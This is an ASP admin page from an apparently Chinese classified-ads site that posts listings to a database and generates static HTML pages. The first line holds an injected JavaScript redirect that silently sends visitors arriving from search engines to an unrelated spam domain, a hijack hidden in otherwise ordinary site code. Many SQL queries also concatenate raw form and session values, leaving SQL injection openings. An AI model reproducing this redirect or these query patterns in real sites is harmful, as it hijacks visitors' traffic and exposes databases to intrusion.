d:\wwwroot\wuchunhua\cityadmin\addad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_cityadmin")="" then
003: response.redirect "login.asp"
004: end if
005: dim dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dlift,dmoney,sql,rs
006: dim city_one,city_two,city_three,type_one,type_two,type_three,city_oneid,city_twoid,city_threeid,type_oneid,type_twoid,type_threeid
007: dtitle=HtmlEncode(trim(request.form("dtitle")))
008: dcolor=HtmlEncode(trim(request.form("dcolor")))
009: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
010: dcu=HtmlEncode(trim(request.form("dcu")))
011: city_oneid=HtmlEncode(trim(request.form("city_one")))
012: city_twoid=HtmlEncode(trim(request.form("city_two")))
013: if city_twoid=""  then
014: city_twoid=0
015: end if
016: city_threeid=HtmlEncode(trim(request.form("city_three")))
017: if city_threeid="" then
018: city_threeid=0
019: end if
020: type_oneid=HtmlEncode(trim(request.form("type_one")))
021: type_twoid=HtmlEncode(trim(request.form("type_two")))
022: if type_twoid=""  then
023: type_twoid=0
024: end if
025: type_threeid=HtmlEncode(trim(request.form("type_three")))
026: if type_threeid="" then
027: type_threeid=0
028: end if
029: dispic=HtmlEncode(trim(request.form("dispic")))
030: dpic=HtmlEncode(trim(request.form("dpic")))
031: dtext=HtmlEncode2(request.form("dtext"))
032: dusername=HtmlEncode(trim(request.form("dusername")))
033: dcardid=HtmlEncode(trim(request.form("dcardid")))
034: dtel=HtmlEncode(trim(request.form("dtel")))
035: dstop=dateadd("d",request.form("dstop"),date())
036: dtop=HtmlEncode(trim(request.form("dtop")))
037: dshouye=HtmlEncode(trim(request.form("dshouye")))
038: dlift=HtmlEncode(trim(request.form("dlift")))
039: dhot=HtmlEncode(trim(request.form("dhot")))
040: dmoney=HtmlEncode(trim(request.form("dmoney")))
041:
042: if dmoney<>"" then
043:   if isnumeric(dmoney)=false then
044:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
045:   response.end
046:   end if
047: end if
048:
049:
050:
051: if dtitle<>"" then
052: set rs=server.createobject("adodb.recordset")
053: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
054: city_one=rs("city")
055: rs.close
056: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
057: city_two=rs("city")
058: rs.close
059: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
060: city_three=rs("city")
061: rs.close
062: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
063: type_one=rs("name")
064: rs.close
065: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
066: type_two=rs("name")
067: rs.close
068: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
069: type_three=rs("name")
070: rs.close
071: sql="select * from china_data "
072: rs.open sql,conn,1,3
073: rs.addnew
074: rs("city_oneid")=city_oneid
075: rs("city_one")=city_one
076: rs("city_two")=city_two
077: rs("city_twoid")=city_twoid
078: rs("city_three")=city_three
079: rs("city_threeid")=city_threeid
080: rs("type_oneid")=type_oneid
081: rs("type_one")=type_one
082: rs("type_twoid")=type_twoid
083: rs("type_two")=type_two
084: rs("type_threeid")=type_threeid
085: rs("type_three")=type_three
086: rs("title")=dtitle
087: rs("color")=dcolor
088: rs("bgcolor1")=dbgcolor1
089: rs("cu")=dcu
090: rs("ispic")=dispic
091: if dpic="http://" then
092: dpic=""
093: end if
094: rs("pic")=dpic
095: rs("text")=dtext
096: rs("username")=dusername
097: rs("cardid")=dcardid
098: rs("tel")=dtel
099: rs("stop")=dstop
100: rs("top")=dtop
101: rs("shouye")=dshouye
102: rs("lift")=dlift
103: rs("hot")=dhot
104: if dmoney = "" then
105: dmoney = 0
106: end if
107: rs("money")=dmoney
108: rs("mark")="yes"
109: rs.update
110: rs.close
111: sql="select adid from china_data order by adid desc"
112: rs.open sql,conn,1,1
113: id=rs("adid")
114: rs.close
115: set rs=nothing                                                                                  
116: conn.close  
117: set conn=nothing
118: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
119: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
120: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
121: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
122: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
123: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
124: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
125: response.Write(serverurl)
126: set http=server.createobject("MSXML2.XMLHTTP")
127: Http.open "get",ServerURL,false
128: Http.send()
129: AA=Http.responseText
130: set http=nothing
131: set objfso = Server.CreateObject("Scripting.FileSystemObject")
132: set htmout = objfso.CreateTextFile(server.mappath("../html/"&id&".htm"))
133: AA=replace(AA,"adpic/","../adpic/")
134: AA=replace(AA,"link.asp","../link.asp")
135: AA=replace(AA,"link_img.asp","../link_img.asp")
136: AA=replace(AA,"index.asp","../index.asp")
137: AA=replace(AA,"114/../index.asp","../114/index.asp")
138: AA=replace(AA,"ad.asp","../ad.asp")
139: AA=replace(AA,"TV.asp","../tv.asp")
140: AA=replace(AA,"user.asp","../user.asp")
141: AA=replace(AA,"gbook.asp","../gbook.asp")
142: AA=replace(AA,"city.asp","../city.asp")
143: AA=replace(AA,"post.asp","../post.asp")
144: AA=replace(AA,"city_more.asp","../city_more.asp")
145: AA=replace(AA,"reg.asp","../reg.asp")
146: AA=replace(AA,"login.asp","../login.asp")
147: AA=replace(AA,"search.asp","../search.asp")
148: AA=replace(AA,"114/join.asp","../114/join.asp")
149: AA=replace(AA,"fabu.asp","../fabu.asp")
150: AA=replace(AA,"type.asp","../type.asp")
151: AA=replace(AA,"show.asp","../show.asp")
152: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
153: AA=replace(AA,"rq_message.asp","../rq_message.asp")
154: AA=replace(AA,"top.asp","../top.asp")
155: AA=replace(AA,"money.asp","../money.asp")
156: AA=replace(AA,"pic.asp","../pic.asp")
157: AA=replace(AA,"bbs/","../bbs/")
158: AA=replace(AA,"html/","")
159: AA=replace(AA,"ip.asp","../ip.asp")
160: AA=replace(AA,"phone.asp","../phone.asp")
161: AA=replace(AA,"about.asp","../about.asp")
162: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
163: htmout.write replace(AA,"images/","../images/")
164: htmout.close  
165: set htmout=nothing  
166: set objfso=nothing  
167: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
168: response.redirect "ok.asp"
169: end if%
>
170:
171: <html>
172: <head>
173: <link rel="stylesheet" type="text/css" href="style.css">
174: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
175: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
176: <meta name="ProgId" content="FrontPage.Editor.Document">
177: <title>发布信息</title>
178: <SCRIPT LANGUAGE="JavaScript">
179: <!--//
180: function checkadd()
181: {  
182:
183:                    //检查年月日是否是合法日期
184:
185:                    function isdate(intYear,intMonth,intDay){
186:
187:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
188:
189:                       if(intMonth>12||intMonth<1) return false;  
190:
191:                       if ( intDay<1||intDay>31)return false;  
192:
193:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
194:
195:                       if(intMonth==2){  
196:
197:                          if(intDay>29) return false;    
198:
199:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
200:
201:                         }  
202:
203:                       return true;  
204:
205:                    }  
206:
207:
208:
209:                    //检查身份证是否是正确格式
210:
211:                    function checkCard(dcardid)
212:
213:                    {
214:
215:                        var pattern;
216:
217:                             if (dcardid.length==15)
218:
219:                             {
220:
221:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
222:
223:                                  if (pattern.exec(dcardid)==null)
224:
225:                                  {
226:
227:                                     alert("15位身份证号码必须为数字!")
228:
229:
230:                                       return false;
231:
232:                                  }
233:
234:                                  if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
235:
236:                                  {
237:
238:                               alert("身份证号码中所含日期不正确")
239:
240:                                  return false;}
241:
242:                                 
243:
244:                             }
245:
246:                             else     if (dcardid.length==18)
247:
248:                             {
249:
250:                                 pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
251:
252:                                  if (pattern.exec(dcardid)==null)
253:
254:                                  {
255:
256:                                             alert("18位身份证号码必须为数字!")
257:
258:                                           return false;
259:
260:                                  }
261:
262:                                  if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
263:
264:                                  {
265:
266:                                         alert("身份证号码中所含日期不正确")  
267:
268:                                  return false;
269:
270:                                  }
271:
272:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
273:
274:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
275:
276:                                  var intTemp=0;
277:
278:                                  for(i = 0; i < dcardid.length - 1; i++)
279:
280:                                  intTemp +=  dcardid.substring(i, i + 1)  * intQuan[i];  
281:
282:                                  intTemp %= 11;
283:
284:                                  if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
285:
286:                                  {
287:
288:                                         alert("身份证末位验证码失败!")
289:
290:                                  return false;
291:
292:                                  }
293:
294:                             }
295:
296:                             else
297:
298:                             {
299:
300:                             alert("身份证号长度必须为15或18!")
301:
302:                             return false;
303:
304:                             }
305:
306:                     return true;  
307:
308:                    }
309:
310:     if (document.postart.dtitle.value.length<1)
311:    {
312:         alert("请填写信息标题!");
313:         document.postart.dtitle.focus();
314:         return false;
315:     }
316:     if (document.postart.dlei.value=="选择信息类别")
317:    {
318:         alert("请选择信息类别!");
319:         document.postart.dlei.focus();
320:         return false;
321:     }
322:     if (document.postart.dtext.value.length>1500)
323:    {
324:         alert("请把信息内容的字数控制在1500以内!");
325:         document.postart.dtext.focus();
326:         return false;
327:     }
328:    if (document.postart.dusername.value.length == 0) {
329:       alert("请您填写联系人姓名!");
330:       document.postart.dusername.focus();
331:       return false;
332:    }
333:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
334:    var errorChar
335:    errorChar = isCharsInBag(postart.dusername.value,str)
336:    if (errorChar != "" )
337:    {
338:       alert('联系人姓名必须是中文!');
339:       postart.dusername.focus();
340:       return false;
341:    }
342: function isCharsInBag (s, bag)
343: {
344: var i,c;
345: for (i = 0; i < s.length; i++)
346: {
347: c = s.charAt(i);//字符串s中的字符
348: if (bag.indexOf(c) > -1)
349: return c;
350: }
351: return "";
352: }
353:   
354:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>4){
355:       alert("联系人姓名不能少于2字多于4字!");
356:       document.postart.dusername.focus();
357:       return false;
358:    }  
359:    <%if webcardid="1" then%>
360:    if (document.postart.dcardid.value.length == 0) {
361:       alert("请填写您的身份证号!");
362:       document.postart.dcardid.focus();
363:       return false;
364:    }
365:       if(checkCard(document.postart.dcardid.value)==false)
366:       {
367:          document.postart.dcardid.focus();
368:          return false;
369:       }
370:       <%end if%>
371:   
372:     if (document.postart.dtel.value.length<7)
373:    {
374:         alert("请填写您的联系电话,不能小于七位数!");
375:         document.postart.dtel.focus();
376:         return false;
377:     }
378:
379:     if (document.postart.dstop.value=="选择有效期")
380:    {
381:         alert("请选择有效期!");
382:         document.postart.dstop.focus();
383:         return false;
384:     }
385: }
386: //-->

387: </SCRIPT>
388: <SCRIPT LANGUAGE="JavaScript">      
389: <!-- Begin
390: maxLen = 1500;
391: function checkMaxInput(form) {
392: if (form.dtext.value.length > maxLen)
393: form.remLen.value = 0;
394: else form.remLen.value = maxLen - form.dtext.value.length;
395: }
396: //  End -->

397: </script>
398:
399: <script language="javascript" type="text/javascript">
400: <!--
401: function changeColor(o) {
402:     document.getElementById("colorBox").style.color = o.value;
403: }
404: //-->

405: </script>
406: <script language="javascript" type="text/javascript">
407: <!--
408: function changeColor1(o) {
409:     document.getElementById("colorBox1").style.background = o.value;
410: }
411: //-->

412: </script>
413:
414:
415: </head>
416:
417: <body background="images/background.gif">
418: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
419:   <tr>
420:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px"><%=session("china_city")%>分站---发布分类信息</font></td>
421:   </tr>
422:   <tr>
423:     <td bgcolor="#FFFFFF"> <br>
424:         <div align="center">
425:           <form action="" method="post" name="postart" onsubmit="return checkadd()">
426:             
427:           <table width="98%" height="420" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
428:             <tr>
429:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息标题:</td>
430:               <td height="26" colspan="2" bgcolor="#FFFFFF">
431:                 <input type="text" name="dtitle" size="40" maxlength="40">
432:                 <font color="#FF0000">*</font></td>
433:             </tr>
434:             <tr>
435:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否加粗:</td>
436:               <td height="26" colspan="2" bgcolor="#FFFFFF">
437:                 <input type="radio" value="no" name="dcu">
438:                 否&nbsp;
439:                 <input type="radio" value="yes" name="dcu" checked>
440:                 是</td>
441:             </tr>
442:             <tr bgcolor="#FFFFFF">
443:               <td align="right" bgcolor="#FFFFFF">标题颜色:</td>
444:               <td height="26" bgcolor="#FFFFFF">
445:                 <input name="dcolor" type="text" id="dcolor" size="8" onchange="changeColor(this);" />
446:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
447:               </td>
448:               <td rowspan="2" align="center" bgcolor="#FFFFFF">
449:                 <table width="180" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
450:                   <tr>
451:                     <td align="center" bgColor="#EFF7FE">
452:                       <div id="colorBox1" style="width: 180px;height: 24px">
453:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
454:                           <tr>
455:                             <td></td>
456:                           </tr>
457:                         </table>
458:                         <div id="colorBox"><font style="font-size:14px"><b>标题和背景颜色演示</b></font></div>
459:                       </div>
460:                     </td>
461:                   </tr>
462:                 </table>
463:               </td>
464:             </tr>
465:             <tr bgcolor="#FFFFFF">
466:               <td align="right" bgcolor="#FFFFFF">标题背景:</td>
467:               <td height="26" bgcolor="#FFFFFF">
468:                 <input name="dbgcolor1" type="text" id="dbgcolor1" size="8" onchange="changeColor1(this);" />
469:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
470:               </td>
471:             </tr>
472:                  <tr>
473:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">选择城市:</td>
474:               <td height="26" colspan="2" bgcolor="#FFFFFF">
475:                 <%
476: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
477: %
>
478:       <script language = "JavaScript">
479: var onecount;
480: onecount=0;
481: subcat = new Array();
482:         <%
483:       dim count:count = 0
484:         do while not rsi.eof
485:         %
>
486: subcat[<%=count%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
487:         <%
488:         count = count + 1
489:         rsi.movenext
490:         loop
491:         rsi.close
492:       set rsi=nothing
493:         %
>
494: onecount=<%=count%>;
495: </script>
496: <%
497: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
498: %
>
499: <script language = "JavaScript">
500: var onecount4;
501: onecount4=0;
502: subcat4 = new Array();
503:         <%
504:       dim count4:count4 = 0
505:         do while not rsi.eof
506:         %
>
507: subcat4[<%=count4%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
508:         <%
509:         count4 = count4 + 1
510:         rsi.movenext
511:         loop
512:         rsi.close
513:       set rsi = nothing
514:         %
>
515: onecount4=<%=count4%>;
516:
517: function changelocation(locationid)
518:     {
519:     document.postart.city_two.length = 0;
520:    document.postart.city_two.options[0] = new Option('选择城市','');
521:    document.postart.city_three.length = 0;
522:    document.postart.city_three.options[0] = new Option('选择城市','');
523:     var locationid=locationid;
524:     var i;
525:     for (i=0;i < onecount; i++)
526:         {
527:             if (subcat[i][1] == locationid)
528:             {
529:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
530:             }        
531:         }
532:         
533:     }    
534:   
535:    function changelocation4(locationid,locationid1)
536:     {
537:     document.postart.city_three.length = 0;
538:     document.postart.city_three.options[0] = new Option('选择城市','');
539:     var locationid=locationid;
540:     var locationid1=locationid1;
541:     var i;
542:     for (i=0;i < onecount4; i++)
543:         {
544:             if (subcat4[i][2] == locationid)
545:             {
546:          if (subcat4[i][1] == locationid1)
547:          {
548:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
549:             }        
550:         }
551:        }
552:     }            
553:               </script>
554:       <select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
555:         <%set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid=0")
556: if rsi.eof or rsi.bof then
557: response.write "<option value=''>没有分类</option>"
558: else
559: do until rsi.eof
560: response.write "<option value='"&rsi("id")&"'>"&rsi("city")&"</option>"
561:     rsi.movenext
562:     loop%
>
563: <%end if
564: rsi.close
565: set rsi = nothing
566: %
>
567:       </select>
568:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
569:     <%if session("twoid")<>0 then
570:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid=0")
571: response.write "<option value='"&rsi("twoid")&"'>"&rsi("city")&"</option>"
572: rsi.close
573: set rsi = nothing
574: else
575: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid<>0 and threeid=0")
576: if rsi.eof or rsi.bof then
577: response.write "<option value=''>没有分类</option>"
578: else
579: do until rsi.eof
580: response.write "<option value='"&rsi("twoid")&"'>"&rsi("city")&"</option>"
581:     rsi.movenext
582:     loop
583:    %
><option value="" selected>选择城市</option>
584: <%end if
585: rsi.close
586: set rsi = nothing
587: end if
588: %
>
589:   
590:    </select>
591:         <select name="city_three" id="city_three">
592:            <%if session("threeid")<>0 then
593:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid="&session("threeid")&"")
594: response.write "<option value='"&rsi("threeid")&"'>"&rsi("city")&"</option>"
595: rsi.close
596: set rsi = nothing
597: else
598: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid<>0")
599: if rsi.eof or rsi.bof then
600: response.write "<option value=''>没有分类</option>"
601: else
602: do until rsi.eof
603: response.write "<option value='"&rsi("threeid")&"'>"&rsi("city")&"</option>"
604:     rsi.movenext
605:     loop
606:    %
><option value="" selected>选择城市</option>
607: <%end if
608: rsi.close
609: set rsi = nothing
610: end if
611: %
>
612:     </select>
613:                 <font color="#FF0000">*</font> </td>
614:             </tr>
615:             <tr>
616:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息类别:</td>
617:               <td height="26" colspan="2" bgcolor="#FFFFFF">
618:                 <%
619: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
620: %
>
621:       <script language = "JavaScript">
622: var onecount2;
623: onecount2=0;
624: subcat2 = new Array();
625:         <%
626:       dim count2:count2 = 0
627:         do while not rsi.eof
628:         %
>
629: subcat2[<%=count2%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
630:         <%
631:         count2 = count2 + 1
632:         rsi.movenext
633:         loop
634:         rsi.close
635:       set rsi = nothing
636:         %
>
637: onecount2=<%=count2%>;
638: </script>
639:
640: <%
641: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
642: %
>
643: <script language = "JavaScript">
644: var onecount3;
645: onecount3=0;
646: subcat3 = new Array();
647:         <%
648:       dim count3:count3 = 0
649:         do while not rsi.eof
650:         %
>
651: subcat3[<%=count3%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
652:         <%
653:         count3 = count3 + 1
654:         rsi.movenext
655:         loop
656:         rsi.close
657:       set rsi = nothing
658:         %
>
659: onecount3=<%=count3%>;
660:
661:
662:
663: function changelocation2(locationid)
664:     {
665:     document.postart.type_two.length = 0;
666:     document.postart.type_two.options[0] = new Option('选择信息','');
667:    document.postart.type_three.length = 0;
668:     document.postart.type_three.options[0] = new Option('选择信息','');
669:     var locationid=locationid;
670:    var i;
671:     for (i=0;i < onecount2; i++)
672:         {
673:             if (subcat2[i][1] == locationid)
674:             {
675:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
676:             }        
677:         }
678:       
679:     }    
680:      function changelocation3(locationid,locationid1)
681:     {
682:     document.postart.type_three.length = 0;
683:     document.postart.type_three.options[0] = new Option('选择信息','');
684:     var locationid=locationid;
685:     var locationid1=locationid1;
686:     var i;
687:     for (i=0;i < onecount3; i++)
688:         {
689:             if (subcat3[i][2] == locationid)
690:             {
691:          if (subcat3[i][1] == locationid1)
692:          {
693:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
694:             }        
695:         }
696:        }
697:     }            
698:     </script>
699:       <select name="type_one" size="1" id="select3" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
700:         <option value="" selected>选择信息</option>
701:         <%set rsi=conn.execute("select * from china_type where id>0 and twoid=0")
702: if rsi.eof and rsi.bof then
703: response.write "<option value=''>没有分类</option>"
704: else
705: do until rsi.eof
706: response.write "<option value='"&rsi("id")&"'>"&rsi("name")&"</option>"
707:     rsi.movenext
708:     loop
709:    type_oneid=HtmlEncode(trim(request.form("type_one")))
710:    response.Write(type_oneid)
711: end if
712: rsi.close
713: set rsi = nothing
714: conn.close
715: set conn= nothing
716: %
>
717:       </select>
718:       <select name="type_two" id="select4" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
719:         <option value="" selected>选择信息</option>
720:     </select>
721:    <select name="type_three" id="select5">
722:         <option value="" selected>选择信息</option>
723:     </select>
724:               </td>
725:             </tr>
726:             <tr>
727:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息形式:</td>
728:               <td height="26" colspan="2" bgcolor="#FFFFFF">
729:                 <input type="radio" value="no" name="dispic" checked>
730:                 文字信息&nbsp;
731:                 <input type="radio" value="yes" name="dispic">
732:                 图片信息 <font color="#FF0000">(注:设置为</font><font color="#008080">图片信息</font><font color="#FF0000">将会在</font><font color="#008080">全部分类</font><font color="#FF0000">栏目以图片方式显示)</font></td>
733:             </tr>
734:             <tr>
735:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">图片路径:</td>
736:               <td height="26" colspan="2" bgcolor="#FFFFFF">
737:                 <input type="text" name="dpic" size="30" value="">
738: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
739:             </tr>
740:             <tr>
741:               <td width="27%" align="right" valign="top" bgcolor="#FFFFFF">信息内容:
742:               </td>
743:               <td colspan="2" bgcolor="#FFFFFF">
744:                 <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></textarea>
745:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
746:                 目前还可写
747:                 <input readonly type=text name=remLen size=4 maxlength=4 value="1500" style="border: 1 solid #888888">
748:                 个字!</font></td>
749:             </tr>
750:             <tr>
751:               <td height="26" align="right" bgcolor="#FFFFFF">联系人:</td>
752:               <td height="26" colspan="2" bgcolor="#FFFFFF">
753:                 <input name="dusername" type="text" id="dusername" size="20" maxlength="30" value="<%=session("china_city")%>站长">
754:                 <font color="#FF0000">* </font></td>
755:             </tr>
756:             <tr <%if webcardid="0" then%>style="display:none"<%end if%>>
757:               <td height="26" align="right" bgcolor="#FFFFFF">身份证号:</td>
758:               <td height="26" colspan="2" bgcolor="#FFFFFF">
759:                 <input name="dcardid" type="text" id="dcardid" size="20" maxlength="18">
760:                 <font color="#FF0000">* </font></td>
761:             </tr>
762:             <tr>
763:               <td height="26" align="right" bgcolor="#FFFFFF">联系电话:</td>
764:               <td height="26" colspan="2" bgcolor="#FFFFFF">
765:                 <input name="dtel" type="text" id="dtel" size="20" maxlength="20">
766:                 <font color="#FF0000">* </font></td>
767:             </tr>
768:             <tr>
769:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">有效期至:</td>
770:               <td height="26" colspan="2" bgcolor="#FFFFFF">
771:                 <select size="1" name="dstop">
772:                   <option value="选择有效期">选择有效期</option>
773:                   <option value="7">一星期</option>
774:                   <option value="15">半个月</option>
775:                   <option value="31">一个月</option>
776:                   <option value="61">两个月</option>
777:                   <option value="92" selected>三个月</option>
778:                   <option value="183">半年</option>
779:                   <option value="365">一年</option>
780:                   <option value="3650">长期</option>
781:                 </select>
782:               </td>
783:             </tr>
784:             <tr>
785:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否固顶:</td>
786:               <td height="26" colspan="2" bgcolor="#FFFFFF">
787:                 <input type="radio" value="0" name="dtop" checked>
788:                 否&nbsp;
789:                 <input type="radio" value="1" name="dtop">
790:                 是 <font color="#FF0000">(注:设置为此属性将在排列在同栏目的首位显示,并同时显示在首页滚动</font><font color="#008080">左侧</font><font color="#FF0000">)</font></td>
791:             <tr bgcolor="#FFFFFF">
792:               <td height="26" align="right">是否首页滚动显示:</td>
793:               <td height="26" colspan="2">
794:                 <input name="dshouye" type="radio" value="0" checked>
795:                 否&nbsp;
796:                 <input type="radio" value="1" name="dshouye">
797:                 是 <font color="#FF0000">(注:首页滚动</font><font color="#008080">右侧</font><font color="#FF0000">显示)</font></td>
798:             </tr>
799:             <tr bgcolor="#FFFFFF">
800:               <td height="26" align="right">是否图文信息:</td>
801:               <td height="26" colspan="2">
802:                 <input name="dlift" type="radio" value="0" checked>
803:                 否&nbsp;
804:                 <input type="radio" value="1" name="dlift">
805:                 是 <font color="#FF0000">(注:在首页右侧显示为图片及文字混合显示,如 旅游/餐饮/招生)</font></td>
806:             </tr>
807:             <tr bgcolor="#FFFFFF">
808:               <td height="26" align="right">热点分类信息:</td>
809:               <td height="26" colspan="2">
810:                 <input name="dhot" type="radio" value="0" checked>
811:                 否&nbsp;
812:                 <input type="radio" value="1" name="dhot">
813:                 是 <font color="#FF0000">(注:在首页"热点分类信息"处显示)</font></td>
814:             </tr>
815:             <tr>
816:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">竟价费用:</td>
817:               <td height="26" colspan="2" bgcolor="#FFFFFF">
818:                 <input name="dmoney" size="15" maxlength="50">
819:                 元 <font color="#FF0000">(注:金额越大,排列位置越靠前)</font> </td>
820:             </tr>
821:             <tr>
822:               <td width="27%" height="30" align="right" bgcolor="#FFFFFF"> </td>
823:               <td height="30" colspan="2" align="right" bgcolor="#FFFFFF">
824:                 <p align="left">
825:                   <input type="submit" value="提交" name="submit">
826:                   &nbsp;
827:                   <input type="reset" value="取消" name="reset">
828:                   &nbsp;
829:                   <input type="button" value="返回" name="back" onclick="javascript:history.back()">
830:               </td>
831:             </tr>
832:           </table>
833:           </form>
834:         </div>
835:         <br>
836:     </td>
837:   </tr>
838: </table>                                                                                    
839: </body>                                                                                                                      
840:                                                                                                                       
841: </html>                                                                                                                      
842:
843:
844: